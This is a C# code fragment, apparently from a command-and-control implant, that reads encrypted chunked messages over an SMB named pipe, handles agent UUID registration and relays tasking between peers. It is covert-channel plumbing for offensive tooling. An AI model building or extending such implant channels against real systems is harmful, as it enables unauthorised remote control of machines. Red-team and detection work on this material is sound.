private void ReadAndSortMessages() { SMBMessage recvMsg; string result = ""; Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >(); while (true) { try { DebugWriteLine($"Waiting for a new message from named pipe {PipeName}..."); recvMsg = ReadMessage(); DebugWriteLine($"Got a new message from named pipe {PipeName}!"); if (recvMsg.MessageType == "chunked_message") { //SMBChunkedMessage tmp = (SMBChunkedMessage)recvMsg; if (!chunkedMessages.ContainsKey(recvMsg.MessageID)) { chunkedMessages[recvMsg.MessageID] = new List <SMBMessage>(); } chunkedMessages[recvMsg.MessageID].Add(recvMsg); if (chunkedMessages[recvMsg.MessageID].Count == recvMsg.MaxMessages) { byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[recvMsg.MessageID]); chunkedMessages.Remove(recvMsg.MessageID); result = base.cryptor.Decrypt(Encoding.UTF8.GetString(fullMessage)); } } else { result = base.cryptor.Decrypt(Encoding.UTF8.GetString((byte[])recvMsg.MessageObject)); } if (result != "") { SortMessages(result); } } catch (System.Runtime.Serialization.SerializationException ex) { DebugWriteLine($"Serialization error attempting to read message from pipe {ex.Message}\n\tStackTrace: {ex.StackTrace}"); ForceStopAgent(); break; } catch (Exception ex) { DebugWriteLine($"Unknown error occurred. Reason: {ex.Message}, StackTrace:\n{ex.StackTrace}"); } finally { recvMsg = null; result = ""; } } }
public override void ReadMessagesFromProducer(string registrationGuidMsgID) { string producerMessage = ""; SMBMessage smbMsg = new SMBMessage(); Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >(); DebugWriteLine($"New UUID Registration for Agent will have Message ID: {registrationGuidMsgID}"); DebugWriteLine($"Beginning loop to read messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); while (MessageProducer.IsConnected() && !StopAllThreads) { try { DebugWriteLine($"Waiting to read message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); smbMsg = MessageProducer.ReadMessage(); DebugWriteLine($"SUCCESS! Got a message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}!"); if (smbMsg != null && smbMsg.MessageObject != null) { DebugWriteLine($"Message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} was non-null."); if (smbMsg.MessageType == "uuid_registration") { DebugWriteLine($"UUID Registration message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} received!"); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); // This should pop twice. First on initial connect, then second on received UUID AgentUUID = producerMessage; DebugWriteLine($"Set AgentUUID to {AgentUUID}. Adding registration message to inbox with message ID {registrationGuidMsgID}..."); Inbox.AddMessage(registrationGuidMsgID, producerMessage); DebugWriteLine($"SUCCESS! Added registration message to inbox with message ID {registrationGuidMsgID}"); } else if (smbMsg.MessageType == "chunked_message") { //SMBChunkedMessage tmp = (SMBChunkedMessage)smbMsg; if (!chunkedMessages.ContainsKey(smbMsg.MessageID)) { chunkedMessages[smbMsg.MessageID] = new List <SMBMessage>(); } chunkedMessages[smbMsg.MessageID].Add(smbMsg); if (chunkedMessages[smbMsg.MessageID].Count == smbMsg.MaxMessages) { byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[smbMsg.MessageID]); chunkedMessages.Remove(smbMsg.MessageID); producerMessage = Encoding.UTF8.GetString(fullMessage); AddMessageToRequestQueue(producerMessage); } } else { DebugWriteLine($"Adding new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue..."); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); AddMessageToRequestQueue(producerMessage); DebugWriteLine($"SUCCESS! Added new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue."); } } } catch (Exception ex) { DebugWriteLine($"ERROR! Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}"); StopAllThreads = true; } finally { producerMessage = ""; smbMsg = null; //Thread.Sleep(SleepTime); } } DebugWriteLine($"Stopped reading messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); }